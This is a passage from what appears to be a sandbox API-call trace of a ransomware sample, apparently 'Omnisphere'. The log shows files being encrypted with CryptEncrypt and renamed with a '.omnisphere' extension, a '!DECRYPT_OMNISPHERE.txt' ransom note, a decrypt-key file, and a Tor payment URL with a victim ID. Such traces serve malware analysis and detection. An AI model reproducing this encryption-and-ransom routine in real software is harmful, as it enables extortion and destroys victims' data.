pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.607] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0127.607] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.607] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.607] GetProcessHeap () returned 0x1600000 [0127.607] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x16f3cb8 [0127.607] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx (2).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx (2).lnk.omnisphere")) returned 1 [0127.608] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk.omnisphere.id" [0127.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx (2).lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.609] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.610] CloseHandle (hObject=0x3c0) returned 1 [0127.610] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.610] CloseHandle (hObject=0x288) returned 1 [0127.610] SetEndOfFile (hFile=0x28c) returned 1 [0127.610] FlushFileBuffers (hFile=0x28c) returned 1 [0127.613] CloseHandle (hObject=0x28c) returned 1 [0127.613] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.613] GetProcessHeap () returned 0x1600000 [0127.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.613] GetProcessHeap () returned 0x1600000 [0127.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1d48 [0127.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1d48, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.613] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.613] GetProcessHeap () returned 0x1600000 [0127.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17106c0 [0127.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17106c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.613] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.613] GetProcessHeap () returned 0x1600000 [0127.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f64f0 [0127.613] PathCombineW (in: pszDest=0x16f64f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.613] GetProcessHeap () returned 0x1600000 [0127.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17079e0 [0127.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.614] WriteFile (in: hFile=0x28c, lpBuffer=0x17079e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x17079e0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.614] CloseHandle (hObject=0x28c) returned 1 [0127.614] GetProcessHeap () returned 0x1600000 [0127.614] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.614] GetProcessHeap () returned 0x1600000 [0127.614] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.614] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.614] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.614] CloseHandle (hObject=0x28c) returned 1 [0127.615] GetProcessHeap () returned 0x1600000 [0127.615] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.615] GetProcessHeap () returned 0x1600000 [0127.615] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656628 | out: hHeap=0x1600000) returned 1 [0127.615] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf431ac48, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x1a3f3778, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1a3f3778, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Z -FpX.lnk", cAlternateFileName="Z-FPX~1.LNK")) returned 1 [0127.615] GetProcessHeap () returned 0x1600000 [0127.615] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b8a8 [0127.615] PathCombineW (in: pszDest=0x167b8a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Z -FpX.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk" [0127.615] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.615] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=996) returned 1 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.615] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] GetTickCount () returned 0x115fd77 [0127.616] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669120) returned 1 [0127.617] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0127.617] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.617] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.617] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0127.617] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e4, lpName=0x0) returned 0x288 [0127.617] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e4) returned 0x1480000 [0127.617] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0127.618] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0127.618] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.618] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 